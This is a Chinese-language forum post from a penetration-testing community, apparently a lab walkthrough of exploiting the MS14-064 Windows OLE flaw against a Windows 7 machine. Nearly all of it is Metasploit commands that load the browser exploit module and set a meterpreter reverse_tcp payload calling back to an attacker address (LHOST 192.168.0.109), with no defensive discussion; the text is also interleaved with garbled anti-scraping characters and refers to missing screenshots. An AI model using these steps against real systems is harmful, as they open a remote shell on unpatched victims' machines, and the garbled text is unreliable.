MS14-064 漏洞测试入侵win7 - 中国网络渗透测试联盟

& D3 c M' v: z5 M- g- L0 H 我发现msf下的exp只能针对带有powershell的机器进行攻击，我们用如下方法来搞演示 E9 r: s- h8 [ O* A

+ U1 B9 r6 U% L0 _0 m6 a 开启msf执行命令use exploits/windows/browser/ms14_064_ole_code_execution如图： " I2 Q' t; X& V& i- M

3 Z* q: h2 j. v 然后执行命令 set PAYLOAD windows/meterpreter/reverse_tcp, t1 Z- ?. ^# q- k

' k9 r- F5 J0 w5 O) j' b$ [1 b set AllowPowershellPrompt true0 X; g6 w2 ^- F$ u. o/ O

! Y( o$ `! B7 V# a Set LHOST 192.168.0.109 ' [! B. e1 m9 c' N/ i) O+ f+ ?

1 b( \ f2 H' e2 m$ V4 [ set SRVHOST 192.168.0.1093 e8 y2 |( ?. |' s* M1 o

$ a6 L- ^% R8 f Set uripath share % B; l3 I: u3 ]" E, V. P/ K

5 k6 f5 v) w2 ~- Z, M# M2 T9 ^ Set srvport 80 $ K) m) C3 }' e9 }

" Q }- z( a9 D4 L( Q ' o- N7 f5 _( m: k% B: ^# s

- l$ i9 E) H; Z7 Q 2 p0 t: @8 s, O- o* n" _# V3 l

, f$ c: _$ L( y8 C) w 9 T0 B3 V/ |6 [8 U

9 m7 X- D( T5 M- U & x$ u+ N7 F/ Y( k

9 p$ s0 [, ~& w6 A1 @+ N! [ ; U) e4 \( q5 `; }' j( @

) ?+ ~- B- _+ S, u+ j$ f {6 L 下面我们来访问本地地址如图：6 \9 ?; g& F4 p1 o p

0 P. d- B% y, t+ k , E, f6 o1 y4 P# P

2 g- f1 ^7 |8 M: U. {! Q8 B 7 d! N2 y \4 x' _+ ^

/ B5 T! x+ s& m, w3 q& c 1 s" D5 _& A6 t1 ~, P+ w7 H" |